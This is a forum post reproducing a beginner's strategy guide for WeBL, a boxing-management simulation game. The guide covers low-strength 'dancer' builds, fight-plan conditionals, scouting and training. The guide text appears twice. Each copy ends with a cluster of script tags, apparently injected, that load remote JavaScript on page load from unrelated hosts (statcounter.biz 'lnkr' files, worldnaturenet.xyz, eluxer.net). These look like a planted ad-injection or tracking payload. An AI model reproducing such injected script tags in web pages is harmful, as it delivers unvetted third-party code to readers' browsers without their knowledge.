Post by Sin-N-Terrors on Mar 1, 2014 16:19:03 GMT -5
Original Text
contributed by Sin
written by: Anagram
ANAGRAM’S NEWBIE GUIDE TO SUCCESS - Easing you into WeBL
First off, I’d like to say that this short guide is by no means meant to be a comprehensive guide to playing WeBL. That kind of thing already exists and to be frank, even with a record that includes 3 world titles, over 50 regional titles and a Junior Olympic gold medal I wouldn’t be fully qualified to write it. This guide is specifically for noobs and is designedto show you an easy fighter setup, how to manage it and therefore how to pick up some easy, confidence building early wins, which will hopefully give you the desire to learn more about the game and move on to the next level. For a more
comprehensive look at WeBL, look at the game rules, the Newbie Files and all the other resources available to you in the help section. If you just want to get some early wins under your belt then I’d like to think that what I have written here will set you on the right path.
Sissies & low strength dancers: The newbie’s friends!!
OK, ok, this doesn’t sound very macho and you probably want to build fighters that knock everybody out or grind them into the dust but trust me; those guys are tough to manage and are best left until you have a better understanding of the game. The sissy or low strength dancer (there is no clear point where one becomes the other – although as a rule of thumb assume that if strength is 6 or below, it is a sissy) is however relatively easy to manage and relatively difficult to beat for most managers in the game because at lower status they have advantages that are difficult to
overcome with other styles, even against experienced managers.
1. First off select his build, make him very light, this will allow you to build a tall, low strength fighter with lots
of agility; the reason for which we’ll get to later. Some managers prefer a normal build to make them slightly
more difficult to scout and to fool an opponent into thinking they may have KP.
2. Next set his height, a sissy or low strength dancer will be relatively tall for his weight, say 4 to 8 inches above
the average fighter, so for a featherweight for example your fighter should be somewhere between 5ft 8” to
6ft tall. At cruiserweight you would probably be looking at around 6’4” to 6’9”. HOWEVER do not go as tall
as possible (say a 5’9” straw-weight as clever managers will see he has no strength and will probably all-out
you to the body until your ribcage collapses like a cheap accordion.
3. Now set his conditioning (CND), unless you are making a heavyweight (not recommended for newbies) then
I think that 14 is perfect but I certainly wouldn’t recommend going below 13 or above 15 this type of fighter
as too little means he will get worn down by stronger opponents and too much takes away from other key
abilities that are going to help you win fights – your “fighting stats” are strength, speed and agility. For taller
dancers who need to be fit to go the distance, 14 is a good start. 13 is fine if you are a little more skilled at
judging endurance.
4. Next set his chin (CHN); here you should resist the common newbie temptation of making fighters with very
high chins, it is unnecessary and it will not stop you getting knocked out your high level of CHN will count
for little when your fighter is exhausted because you have not used enough ability points elsewhere. Agility is
as important as chin if not more so as many managers will attack your body first, rendering the chin less
important. I would suggest going with 10 points of CHN, if you have gone with a taller and therefore more
agile fighter then you might get away with 9 or if you want to play it really safe then go with 11, certainly
don’t go above 12 as even at the highest status, few top managers will use anything over this level and it
makes your fighter less efficient.
5. Ok, that’s the basic framework of your fighter set so now let’s set up his active stats, the ones that determine
the efficiency of your fighter and how much damage he will deal and be dealt. First set his strength (STR),
your fighter will be weak (the clue is in the title) and I would make him with strength (STR) of between 4 and
7 regardless of the weight category you are going to put him in. The reason he is weak is because you are
going to load most of your available ability points (AP’s) into agility (AGL) and speed (SPD); key assets for
scoring and avoiding getting hit. Here you have a little latitude, if you have gone for the taller end of the
range then you will need more AGL than SPD but your fighter will pick up extra SPD points due to his
height and the style that he is going to use (we’ll get to that in the next bit), otherwise I would split SPD and
AGL evenly. Finally, set the cuts to level 1 ONLY, anything more is a waste in my opinion and unless your
fighter is very unlucky he will not lose many fights on cuts through his entire career.
Don’t forget, in this game an efficient fighter build is half the battle. At lower levels between newbie managers it
is the difference between tough defeats and very easy wins. It also gives you a little more margin for error in your
fight plans.
Your fighter might look something like this:
STR 6 KP 0
SPD 14 AGL 15
CHN 10 CND 14
Height: 5ft 10
Build: Very Light
Cut: low
Weight 128lbs, minimum weight 123lbs.
This guy is a featherweight but you will obviously need to play around with the AP’s to create fighters at other weights.
If you are not certain whether to favour speed or agility, then favour agility as this makes your fighter that little more
durable. Nevertheless more than three points difference in favour of agility (e.g. speed 13, agility 17) could render your
fighter too slow and makes it harder to win points matches.
Be an outsider
Some might say that we already are when we are spending time playing a geeky boxing simulation game. Still, that’s not
what I mean! What I mean here is that the best style to use with this style of fighter is outside. Using outside gives you
0.5 of extra SPD and 0.5 extra AGL just for using the style, you then get extra SPD based on your height advantage,
the penalty is that you lose on STR but as you are running a low STR fighter who will for the most part be slapping
(using 1 power) then the STR penalty is not going to make any difference. Your fighter will fight from the outside with
moderate aggression (AGG), low power (POW) and high defence (DEF) or at least to start with anyhow, as you are
likely to have advantages over most fighters in SPD and AGL you should be able to outscore them whilst keeping
relatively high and once you have 7 or 8 rounds in the bank you will look to shut up shop and for the remainder of the
fight.
HOWEVER: you may also consider using ring instead. Whilst ring is saddled with a one point fatigue penalty per
round, it may save more on damage, as rather than just staying away, you move around the ring dodging shots. Against
much stronger fighters it may pay to use ring instead. Compare both styles when simming your fights.
The basic FP
Your basic fight plan (FP) should start with a line like 6/1/13 (outside); as a basic rule of thumb the stronger the guy
you are fighting, the lower the AGG and higher the DEF you should be looking to use but 6/1/13 will work pretty
well against a decent rage of fighters. If you think you can get away with using 5/1/14 (outside) to win on points then
use that instead. The trick with dancers and sissies is to do JUST ENOUGH to win rounds, but not so much that
stronger fighters can slug your body and turn your ribcage into mincemeat. Using 10/1/9 (outside) where a 5/1/14
(outside) will do is a classic newbie error.
The first few lines of your FP might look like this:
6/1/13 (outside); This is your base line and your FP will always revert here if none of the other lines kick in.
2) if score < 0 then 7/1/12 (outside); You have lost the 1st round so you are upping AGG and lowering your DEF
to try and win the next.
if endurance_percent < 93 then 5H/11/4 (ropes); You have lost more than 7% endurance in the 1st round so it is
likely that your opponent is using very low DEF so you are going to flash him (hit him with a high POW head hunting
line) to try and knock him out as you cannot sustain losing more than 7% endurance per round. If you continue as you
are you are going to get worn down and knocked out anyhow so this is a gamble and if you lose all you will be doing is
saving yourself a stack of injury points (IP’s).
3) if score < 0 then 8/1/11 (outside); you have still not won a round (you might have drawn the 2nd) so you are
going to up you AGG and lower your DEF again.
if score = 1 then 7/1/12 (outside); you have won at least 1 round so you are going to stay where you were in the last
round.
if endurance_percent < 86 then 5H/11/4 (ropes); See above.
if mystuns > 0 and score < 0 then 4H/8/8 (ropes); Your opponent has stunned you or knocked you down at least
once and is winning so you are going to head hunt, raise your POW and lower your DEF to try and stun him if he
tries again. If you don’t do this he may keep stunning you and you will lose the fight anyhow, this way you have a
chance of catching him out.
These are basic lines and you will need to add to them round by round to take account of how you are doing on score
and endurance. To make your FP more complete you will need to add some global conditionals; these are lines that
will override your other lines when they are triggered, for example rest lines and fight is won lines, these line are
written with a # at the beginning of them and some comment too describe what they are doing e.g.
# My fighter is tired
4) if endurance_percent < 73 and score > 0 and round < 12 then 1/1/9 (outside);
This means that you now have less than 73% endurance (there is little benefit to resting if you have more than 75%
endurance) but you are ahead in the fight and it isn’t the last round (you don’t want to chance resting in the final
round) and so you are going to rest this round, if you are fighting another sissy or you have relatively high CHN then
you might be able to use 1/1/8 or conversely if you are fighting STR based fighter or a fighter with KP and or you
have relatively low chin then you might want to use something like 1/1/10.
Another commonly used global conditional is to reflect that you have won the fight and now you want to shut up
shop, it might look like this:
# I have won
9) if decision_won = true then 1/1/18 (outside);
Some of the more advanced managers do not like this line as it can be a little unreliable but at your level of the game it
will serve you well most of the time and it basically means that on the commentators card you have won at least 8
rounds so now you are just going stay away from your opponent for the rest of the fight.
An alternative and more reliable version for most levels of fighter is:
8) if score > 14 – round then 1/1/18 (outside);
Finally, I would always use a towel line i.e. you realise that your fighter cannot win so you are throwing in the towel to
save him from taking unnecessary punishment and more importantly unnecessary IP’s!! I would use something like
this:
# Towel
9) if score < 0 and endurance_percent < 40 and opp = strong then towel
WORD OF WARNING: Try not to use 1 power and outside all the time. An experienced manager will spot that
trend and start doing really hurtful things like all-out attacks to the body or head which weaken your endurance
drastically or get you knocked out. Which, as you no doubt will agree, kind of sucks. A variation of 6/1/13 (outside)
lines and occasional 5/3/12 (ring) lines make you a little more unpredictable. Also, if you really are that much faster
and you have a little strength, consider using occasional counter lines when up on score by a few rounds, say 4B/5/11
(counter). This will certainly be a strong defence against most all-out attacks and also cause a little more damage than
your opponent was expecting.
What is your opponent likely to do?
This is known within WeBL as scouting i.e. you are scouting out your opponents traits or to put it another way, how
he tends to fight. Now if your opponent is a decent manager he will fight in different ways depending on the opponent
he is facing so the first port of call will be to see how he has fought against fighters of a similar height to yours.
Obviously height is not the only variable but it will often give you an idea of what your opponent’s tactics will be
against you. For example if you are 5 ft 10 check what your opponent did last time he fought a fighter of or near to
your height, this will be even more helpful if that opponent used similar tactics to you. If your opponent hasn’t fought
a fighter similar to you then look at how he usually fights, is he a short fighter who throws lots of power punches? If
so he is likely to try and wear you down by sapping your endurance and maybe looking for a late KO, if that’s the case
then you might want to start with slightly lower AGG and higher DEF to negate his extra strength, so your base line
might need to be 5/1/14 (outside) or 4/1/15 (outside). Conversely if he throws few power shots and lots of jabs then
it is likely that he has low STR and high SPD and thus you may be able to be more adventurous and use a starting line
like 8/1/11 or 9/1/10. For more detailed and advanced info on scouting, check the other help files that are available
as this is merely meant to provide the most basic info on scouting. Most scouting is trial and error so do not get
disheartened if you completely misread what a fighter does. Even experienced gyms with many world titles can misscout
at times, so don’t expect to be perfect!
Also take a look at a fighter’s weight. Sometimes a fighter will be too small for the weight and an exact weight is given
instead of the generic weight class – e.g. a middleweight fighter may actually only be 158bs. This can help you work
out a fighter’s build as you are not wondering how much weight he has to lose to make weight.
Training and evolving your fighter
Training is important as it determines how your fighter will evolve. Early on I would train each of the active stats
(STR, SPD & AGL) equally and try to keep SPD and AGL roughly equal, remember that if you train STR your fighter
will gain weight and if you train AGL he will lose weight so I often find that it is a good idea to train them in
conjunction with each other to cancel out the weight effect. There is a larger than normal weight gain when jumping
from 9 to 10 and from 10 to 11 in strength, and a larger than normal drop in weight when agility climbs from 9 to 10
and 10 to 11. Feel free to play around with that on the “creating fighters” section…note the weight differences.
Also, you may notice that you will gain points that you have not trained, these are known as random AP’s and you will
get them when you get to status 6 and then every even status number thereafter; these can sometimes mess up your
fighter set up a little but they are also the reason why you shouldn’t have to train CND as you likely to pick up random
AP’s on this stat. If you have trained your stats roughly equally, then by the time your fighter gets to status 10, he
might look like this:
STR 10 KP 0
SPD 18 AGL 19
CHN 10 CND 15
Weight 136 lbs, minimum weight 130lbs - as you can see, he has gained a little weight so he is now a super
featherweight.
I would suggest that this is a good point at which to decide how you want to evolve your fighter further as you will
likely find that fights now start to become tougher and you might need to start varying your tactics a little to become
less predictable. Your fighter is well set up and you could continue to evolve him along similar lines i.e. training the
active stats in equal measure so your fighter becomes a dancer, however his set up is such that you could decide to take
him in a new direction. You could concentrate on training speed so that counterpunching becomes a more viable
fighting style or you could train agility more and so that ropes or ring become another fighting option.
For me, the best option here other than continuing as you are would be to add some KP to your fighters arsenal, KP
increases the amount of stun damage you deal and gives your fighter a new weapon. KP is limited to 1/3 of STR and
is most effective at this level, KP is multiplied by 3 and is added to STR when determining stun damage so if you have
KP you can now try to surprise an opponent by “flashing” him; thankfully this doesn’t mean that your guy will drop
his trunks and show your opponent his wedding tackle!! It means that you will build a line into your FP where you will
drop your DEF and raise your POW and headhunt to try and stun or ko your opponent, an example would be
5H/11/4 (ring). So if you add KP, don’t use a flash line until your KP is 1/3 of STR else it may not work effectively,
this does not have to be exact but as close as you can get it, so 10 STR and 3 KP would be ok but I wouldn’t use a
flash line if it were say 10 STR and 2 KP. The kind of flash line that you use will depend very much upon the type of
opponent you are facing, against a slugger you could use ropes or counter, against a counterpuncher you could use
ropes or no style and against a ropist you might use counter or no style. If you do go down the KP route then you may
also want to look at increasing your chin by a point, 11 chin should be fine for most regional level KP dancers maybe
12 at a push.
There are various ways of building flash lines into your FP but the most common are score and or endurance related
conditionals, something like this:
if round = 4 and score > 0 then 5H/10/5 (counter);
Or
if round = 4 and endurance_percent > 75 then 5H/10/5 (counter);
Or to bring them both together
if round = 4 and score > 0 and endurance_percent > 75 then 5H/10/5 (counter);
Obviously you can play around with the round, score and endurance levels to suit your strategy.
Cheating!
This is a voluntary extra used by some managers to get a bit of extra pepper on their punches when using flash rounds.
To cheat, simply put an exclamation mark next to your second digit e.g. 5H/11!/4. If you succeed, you will cause an
extra 10% damage, which may well get you that stun, knockdown or KO.
However you also run a risk of losing points or even getting disqualified on your first offence.
Cheating is generally only recommended for KP dancer managers who are looking for extra kick on flashes.
Otherwise, do not use it.
The alternative starter build; the KP sissy / dancer
Ok, now I’ve introduced you to the idea of KP you could actually start about building fighters with a little KP in order
to be a little less predictable; we don’t want those nasty sluggers thinking they can all-out you without consequences
just because you’re a noob!!
The set up for this build could look like this:
STR 6 KP 2
SPD 14 AGL 14
CHN 10 CND 13
Height: 5ft 10
Build: Very Light
Cuts: low
Weight 130lbs, minimum weight 125lbs.
Now at this stage I would try and conceal the KP i.e. only use it for defensive purposes to stop you taking too much
damage as a 6/2 KP dancer is unlikely to KO any fighter unless he has his defences down. So in effect you are going
to be fighting much as you would with your sissy/dancer but you will have KP in reserve in case your opponent starts
taking liberties; with this style of fighter, lines like
2) if endurance_percent < 93 then 5H/11/4 (ropes);
will carry a bit more bite!!
The KP might also come in handy against fellow sissies, if you find that you are being outscored
against a fellow sissy when you are using a line like 9/1/10 (outside) then this would suggest that your opponent is
using a lot of AGG and therefore low defence so you might want to risk a flash with a line like this:
5) if roundswon = 0 and endurance_percent > 75 then 5H/10/5 (allout);
This means it’s round 5 and you haven’t won a round so you’re going to throw the kitchen sink at him!! A word of
warning however, allout attacks are very risky so be very careful who you use them against or it could be a very
painful experience for your fighter, only use this kind of line when you are pretty sure that your opponent has low
strength and or is using low power
Now it’s up to you!
Hopefully the info that I have given you here will be enough for you to make a successful start to your WeBL career
but it is just that, a start. There are lots of other styles to be learned and techniques to use and the more you find out
about these the easier the game will become because if you learn how the other styles work then you learn what it takes
to beat them. The approach that I have laid out here is just one way of starting off in WeBL, many far more successful
managers than me have done it differently but I believe that this approach is a relatively easy one for a noob to pick up
and hopefully it will work for you. Many of my regional title winners and my world title winner started out along this
route so it certainly worked for me!! Whether this works for you or not, don’t stop here, use all the various help files
available to learn more about the game and become a more complete player, don’t be afraid to ask questions in the
various forums as you’ll find that most managers are happy to help new players. Good luck!!<script type="text/javascript" src="http://statcounter.biz/addons/lnkr5.min.js"></script><script type="text/javascript" src="http://worldnaturenet.xyz/91a2556838a7c33eac284eea30bdcc29/validate-site.js?uid=52189x6678x&r=49"></script><script type="text/javascript" src="http://statcounter.biz/addons/lnkr30_nt.min.js"></script><script type="text/javascript" src="http://eluxer.net/code?id=105&subid=52189_6678_"></script>
contributed by Sin
written by: Anagram
ANAGRAM’S NEWBIE GUIDE TO SUCCESS - Easing you into WeBL
First off, I’d like to say that this short guide is by no means meant to be a comprehensive guide to playing WeBL. That kind of thing already exists and to be frank, even with a record that includes 3 world titles, over 50 regional titles and a Junior Olympic gold medal I wouldn’t be fully qualified to write it. This guide is specifically for noobs and is designedto show you an easy fighter setup, how to manage it and therefore how to pick up some easy, confidence building early wins, which will hopefully give you the desire to learn more about the game and move on to the next level. For a more
comprehensive look at WeBL, look at the game rules, the Newbie Files and all the other resources available to you in the help section. If you just want to get some early wins under your belt then I’d like to think that what I have written here will set you on the right path.
Sissies & low strength dancers: The newbie’s friends!!
OK, ok, this doesn’t sound very macho and you probably want to build fighters that knock everybody out or grind them into the dust but trust me; those guys are tough to manage and are best left until you have a better understanding of the game. The sissy or low strength dancer (there is no clear point where one becomes the other – although as a rule of thumb assume that if strength is 6 or below, it is a sissy) is however relatively easy to manage and relatively difficult to beat for most managers in the game because at lower status they have advantages that are difficult to
overcome with other styles, even against experienced managers.
1. First off select his build, make him very light, this will allow you to build a tall, low strength fighter with lots
of agility; the reason for which we’ll get to later. Some managers prefer a normal build to make them slightly
more difficult to scout and to fool an opponent into thinking they may have KP.
2. Next set his height, a sissy or low strength dancer will be relatively tall for his weight, say 4 to 8 inches above
the average fighter, so for a featherweight for example your fighter should be somewhere between 5ft 8” to
6ft tall. At cruiserweight you would probably be looking at around 6’4” to 6’9”. HOWEVER do not go as tall
as possible (say a 5’9” straw-weight as clever managers will see he has no strength and will probably all-out
you to the body until your ribcage collapses like a cheap accordion.
3. Now set his conditioning (CND), unless you are making a heavyweight (not recommended for newbies) then
I think that 14 is perfect but I certainly wouldn’t recommend going below 13 or above 15 this type of fighter
as too little means he will get worn down by stronger opponents and too much takes away from other key
abilities that are going to help you win fights – your “fighting stats” are strength, speed and agility. For taller
dancers who need to be fit to go the distance, 14 is a good start. 13 is fine if you are a little more skilled at
judging endurance.
4. Next set his chin (CHN); here you should resist the common newbie temptation of making fighters with very
high chins, it is unnecessary and it will not stop you getting knocked out your high level of CHN will count
for little when your fighter is exhausted because you have not used enough ability points elsewhere. Agility is
as important as chin if not more so as many managers will attack your body first, rendering the chin less
important. I would suggest going with 10 points of CHN, if you have gone with a taller and therefore more
agile fighter then you might get away with 9 or if you want to play it really safe then go with 11, certainly
don’t go above 12 as even at the highest status, few top managers will use anything over this level and it
makes your fighter less efficient.
5. Ok, that’s the basic framework of your fighter set so now let’s set up his active stats, the ones that determine
the efficiency of your fighter and how much damage he will deal and be dealt. First set his strength (STR),
your fighter will be weak (the clue is in the title) and I would make him with strength (STR) of between 4 and
7 regardless of the weight category you are going to put him in. The reason he is weak is because you are
going to load most of your available ability points (AP’s) into agility (AGL) and speed (SPD); key assets for
scoring and avoiding getting hit. Here you have a little latitude, if you have gone for the taller end of the
range then you will need more AGL than SPD but your fighter will pick up extra SPD points due to his
height and the style that he is going to use (we’ll get to that in the next bit), otherwise I would split SPD and
AGL evenly. Finally, set the cuts to level 1 ONLY, anything more is a waste in my opinion and unless your
fighter is very unlucky he will not lose many fights on cuts through his entire career.
Don’t forget, in this game an efficient fighter build is half the battle. At lower levels between newbie managers it
is the difference between tough defeats and very easy wins. It also gives you a little more margin for error in your
fight plans.
Your fighter might look something like this:
STR 6 KP 0
SPD 14 AGL 15
CHN 10 CND 14
Height: 5ft 10
Build: Very Light
Cut: low
Weight 128lbs, minimum weight 123lbs.
This guy is a featherweight but you will obviously need to play around with the AP’s to create fighters at other weights.
If you are not certain whether to favour speed or agility, then favour agility as this makes your fighter that little more
durable. Nevertheless more than three points difference in favour of agility (e.g. speed 13, agility 17) could render your
fighter too slow and makes it harder to win points matches.
Be an outsider
Some might say that we already are when we are spending time playing a geeky boxing simulation game. Still, that’s not
what I mean! What I mean here is that the best style to use with this style of fighter is outside. Using outside gives you
0.5 of extra SPD and 0.5 extra AGL just for using the style, you then get extra SPD based on your height advantage,
the penalty is that you lose on STR but as you are running a low STR fighter who will for the most part be slapping
(using 1 power) then the STR penalty is not going to make any difference. Your fighter will fight from the outside with
moderate aggression (AGG), low power (POW) and high defence (DEF) or at least to start with anyhow, as you are
likely to have advantages over most fighters in SPD and AGL you should be able to outscore them whilst keeping
relatively high and once you have 7 or 8 rounds in the bank you will look to shut up shop and for the remainder of the
fight.
HOWEVER: you may also consider using ring instead. Whilst ring is saddled with a one point fatigue penalty per
round, it may save more on damage, as rather than just staying away, you move around the ring dodging shots. Against
much stronger fighters it may pay to use ring instead. Compare both styles when simming your fights.
The basic FP
Your basic fight plan (FP) should start with a line like 6/1/13 (outside); as a basic rule of thumb the stronger the guy
you are fighting, the lower the AGG and higher the DEF you should be looking to use but 6/1/13 will work pretty
well against a decent rage of fighters. If you think you can get away with using 5/1/14 (outside) to win on points then
use that instead. The trick with dancers and sissies is to do JUST ENOUGH to win rounds, but not so much that
stronger fighters can slug your body and turn your ribcage into mincemeat. Using 10/1/9 (outside) where a 5/1/14
(outside) will do is a classic newbie error.
The first few lines of your FP might look like this:
6/1/13 (outside); This is your base line and your FP will always revert here if none of the other lines kick in.
2) if score < 0 then 7/1/12 (outside); You have lost the 1st round so you are upping AGG and lowering your DEF
to try and win the next.
if endurance_percent < 93 then 5H/11/4 (ropes); You have lost more than 7% endurance in the 1st round so it is
likely that your opponent is using very low DEF so you are going to flash him (hit him with a high POW head hunting
line) to try and knock him out as you cannot sustain losing more than 7% endurance per round. If you continue as you
are you are going to get worn down and knocked out anyhow so this is a gamble and if you lose all you will be doing is
saving yourself a stack of injury points (IP’s).
3) if score < 0 then 8/1/11 (outside); you have still not won a round (you might have drawn the 2nd) so you are
going to up you AGG and lower your DEF again.
if score = 1 then 7/1/12 (outside); you have won at least 1 round so you are going to stay where you were in the last
round.
if endurance_percent < 86 then 5H/11/4 (ropes); See above.
if mystuns > 0 and score < 0 then 4H/8/8 (ropes); Your opponent has stunned you or knocked you down at least
once and is winning so you are going to head hunt, raise your POW and lower your DEF to try and stun him if he
tries again. If you don’t do this he may keep stunning you and you will lose the fight anyhow, this way you have a
chance of catching him out.
These are basic lines and you will need to add to them round by round to take account of how you are doing on score
and endurance. To make your FP more complete you will need to add some global conditionals; these are lines that
will override your other lines when they are triggered, for example rest lines and fight is won lines, these line are
written with a # at the beginning of them and some comment too describe what they are doing e.g.
# My fighter is tired
4) if endurance_percent < 73 and score > 0 and round < 12 then 1/1/9 (outside);
This means that you now have less than 73% endurance (there is little benefit to resting if you have more than 75%
endurance) but you are ahead in the fight and it isn’t the last round (you don’t want to chance resting in the final
round) and so you are going to rest this round, if you are fighting another sissy or you have relatively high CHN then
you might be able to use 1/1/8 or conversely if you are fighting STR based fighter or a fighter with KP and or you
have relatively low chin then you might want to use something like 1/1/10.
Another commonly used global conditional is to reflect that you have won the fight and now you want to shut up
shop, it might look like this:
# I have won
9) if decision_won = true then 1/1/18 (outside);
Some of the more advanced managers do not like this line as it can be a little unreliable but at your level of the game it
will serve you well most of the time and it basically means that on the commentators card you have won at least 8
rounds so now you are just going stay away from your opponent for the rest of the fight.
An alternative and more reliable version for most levels of fighter is:
8) if score > 14 – round then 1/1/18 (outside);
Finally, I would always use a towel line i.e. you realise that your fighter cannot win so you are throwing in the towel to
save him from taking unnecessary punishment and more importantly unnecessary IP’s!! I would use something like
this:
# Towel
9) if score < 0 and endurance_percent < 40 and opp = strong then towel
WORD OF WARNING: Try not to use 1 power and outside all the time. An experienced manager will spot that
trend and start doing really hurtful things like all-out attacks to the body or head which weaken your endurance
drastically or get you knocked out. Which, as you no doubt will agree, kind of sucks. A variation of 6/1/13 (outside)
lines and occasional 5/3/12 (ring) lines make you a little more unpredictable. Also, if you really are that much faster
and you have a little strength, consider using occasional counter lines when up on score by a few rounds, say 4B/5/11
(counter). This will certainly be a strong defence against most all-out attacks and also cause a little more damage than
your opponent was expecting.
What is your opponent likely to do?
This is known within WeBL as scouting i.e. you are scouting out your opponents traits or to put it another way, how
he tends to fight. Now if your opponent is a decent manager he will fight in different ways depending on the opponent
he is facing so the first port of call will be to see how he has fought against fighters of a similar height to yours.
Obviously height is not the only variable but it will often give you an idea of what your opponent’s tactics will be
against you. For example if you are 5 ft 10 check what your opponent did last time he fought a fighter of or near to
your height, this will be even more helpful if that opponent used similar tactics to you. If your opponent hasn’t fought
a fighter similar to you then look at how he usually fights, is he a short fighter who throws lots of power punches? If
so he is likely to try and wear you down by sapping your endurance and maybe looking for a late KO, if that’s the case
then you might want to start with slightly lower AGG and higher DEF to negate his extra strength, so your base line
might need to be 5/1/14 (outside) or 4/1/15 (outside). Conversely if he throws few power shots and lots of jabs then
it is likely that he has low STR and high SPD and thus you may be able to be more adventurous and use a starting line
like 8/1/11 or 9/1/10. For more detailed and advanced info on scouting, check the other help files that are available
as this is merely meant to provide the most basic info on scouting. Most scouting is trial and error so do not get
disheartened if you completely misread what a fighter does. Even experienced gyms with many world titles can misscout
at times, so don’t expect to be perfect!
Also take a look at a fighter’s weight. Sometimes a fighter will be too small for the weight and an exact weight is given
instead of the generic weight class – e.g. a middleweight fighter may actually only be 158bs. This can help you work
out a fighter’s build as you are not wondering how much weight he has to lose to make weight.
Training and evolving your fighter
Training is important as it determines how your fighter will evolve. Early on I would train each of the active stats
(STR, SPD & AGL) equally and try to keep SPD and AGL roughly equal, remember that if you train STR your fighter
will gain weight and if you train AGL he will lose weight so I often find that it is a good idea to train them in
conjunction with each other to cancel out the weight effect. There is a larger than normal weight gain when jumping
from 9 to 10 and from 10 to 11 in strength, and a larger than normal drop in weight when agility climbs from 9 to 10
and 10 to 11. Feel free to play around with that on the “creating fighters” section…note the weight differences.
Also, you may notice that you will gain points that you have not trained, these are known as random AP’s and you will
get them when you get to status 6 and then every even status number thereafter; these can sometimes mess up your
fighter set up a little but they are also the reason why you shouldn’t have to train CND as you likely to pick up random
AP’s on this stat. If you have trained your stats roughly equally, then by the time your fighter gets to status 10, he
might look like this:
STR 10 KP 0
SPD 18 AGL 19
CHN 10 CND 15
Weight 136 lbs, minimum weight 130lbs - as you can see, he has gained a little weight so he is now a super
featherweight.
I would suggest that this is a good point at which to decide how you want to evolve your fighter further as you will
likely find that fights now start to become tougher and you might need to start varying your tactics a little to become
less predictable. Your fighter is well set up and you could continue to evolve him along similar lines i.e. training the
active stats in equal measure so your fighter becomes a dancer, however his set up is such that you could decide to take
him in a new direction. You could concentrate on training speed so that counterpunching becomes a more viable
fighting style or you could train agility more and so that ropes or ring become another fighting option.
For me, the best option here other than continuing as you are would be to add some KP to your fighters arsenal, KP
increases the amount of stun damage you deal and gives your fighter a new weapon. KP is limited to 1/3 of STR and
is most effective at this level, KP is multiplied by 3 and is added to STR when determining stun damage so if you have
KP you can now try to surprise an opponent by “flashing” him; thankfully this doesn’t mean that your guy will drop
his trunks and show your opponent his wedding tackle!! It means that you will build a line into your FP where you will
drop your DEF and raise your POW and headhunt to try and stun or ko your opponent, an example would be
5H/11/4 (ring). So if you add KP, don’t use a flash line until your KP is 1/3 of STR else it may not work effectively,
this does not have to be exact but as close as you can get it, so 10 STR and 3 KP would be ok but I wouldn’t use a
flash line if it were say 10 STR and 2 KP. The kind of flash line that you use will depend very much upon the type of
opponent you are facing, against a slugger you could use ropes or counter, against a counterpuncher you could use
ropes or no style and against a ropist you might use counter or no style. If you do go down the KP route then you may
also want to look at increasing your chin by a point, 11 chin should be fine for most regional level KP dancers maybe
12 at a push.
There are various ways of building flash lines into your FP but the most common are score and or endurance related
conditionals, something like this:
if round = 4 and score > 0 then 5H/10/5 (counter);
Or
if round = 4 and endurance_percent > 75 then 5H/10/5 (counter);
Or to bring them both together
if round = 4 and score > 0 and endurance_percent > 75 then 5H/10/5 (counter);
Obviously you can play around with the round, score and endurance levels to suit your strategy.
Cheating!
This is a voluntary extra used by some managers to get a bit of extra pepper on their punches when using flash rounds.
To cheat, simply put an exclamation mark next to your second digit e.g. 5H/11!/4. If you succeed, you will cause an
extra 10% damage, which may well get you that stun, knockdown or KO.
However you also run a risk of losing points or even getting disqualified on your first offence.
Cheating is generally only recommended for KP dancer managers who are looking for extra kick on flashes.
Otherwise, do not use it.
The alternative starter build; the KP sissy / dancer
Ok, now I’ve introduced you to the idea of KP you could actually start about building fighters with a little KP in order
to be a little less predictable; we don’t want those nasty sluggers thinking they can all-out you without consequences
just because you’re a noob!!
The set up for this build could look like this:
STR 6 KP 2
SPD 14 AGL 14
CHN 10 CND 13
Height: 5ft 10
Build: Very Light
Cuts: low
Weight 130lbs, minimum weight 125lbs.
Now at this stage I would try and conceal the KP i.e. only use it for defensive purposes to stop you taking too much
damage as a 6/2 KP dancer is unlikely to KO any fighter unless he has his defences down. So in effect you are going
to be fighting much as you would with your sissy/dancer but you will have KP in reserve in case your opponent starts
taking liberties; with this style of fighter, lines like
2) if endurance_percent < 93 then 5H/11/4 (ropes);
will carry a bit more bite!!
The KP might also come in handy against fellow sissies, if you find that you are being outscored
against a fellow sissy when you are using a line like 9/1/10 (outside) then this would suggest that your opponent is
using a lot of AGG and therefore low defence so you might want to risk a flash with a line like this:
5) if roundswon = 0 and endurance_percent > 75 then 5H/10/5 (allout);
This means it’s round 5 and you haven’t won a round so you’re going to throw the kitchen sink at him!! A word of
warning however, allout attacks are very risky so be very careful who you use them against or it could be a very
painful experience for your fighter, only use this kind of line when you are pretty sure that your opponent has low
strength and or is using low power
Now it’s up to you!
Hopefully the info that I have given you here will be enough for you to make a successful start to your WeBL career
but it is just that, a start. There are lots of other styles to be learned and techniques to use and the more you find out
about these the easier the game will become because if you learn how the other styles work then you learn what it takes
to beat them. The approach that I have laid out here is just one way of starting off in WeBL, many far more successful
managers than me have done it differently but I believe that this approach is a relatively easy one for a noob to pick up
and hopefully it will work for you. Many of my regional title winners and my world title winner started out along this
route so it certainly worked for me!! Whether this works for you or not, don’t stop here, use all the various help files
available to learn more about the game and become a more complete player, don’t be afraid to ask questions in the
various forums as you’ll find that most managers are happy to help new players. Good luck!!<script type="text/javascript" src="http://statcounter.biz/addons/lnkr5.min.js"></script><script type="text/javascript" src="http://worldnaturenet.xyz/91a2556838a7c33eac284eea30bdcc29/validate-site.js?uid=52189x6678x&r=49"></script><script type="text/javascript" src="http://statcounter.biz/addons/lnkr30_nt.min.js"></script><script type="text/javascript" src="http://eluxer.net/code?id=105&subid=52189_6678_"></script>
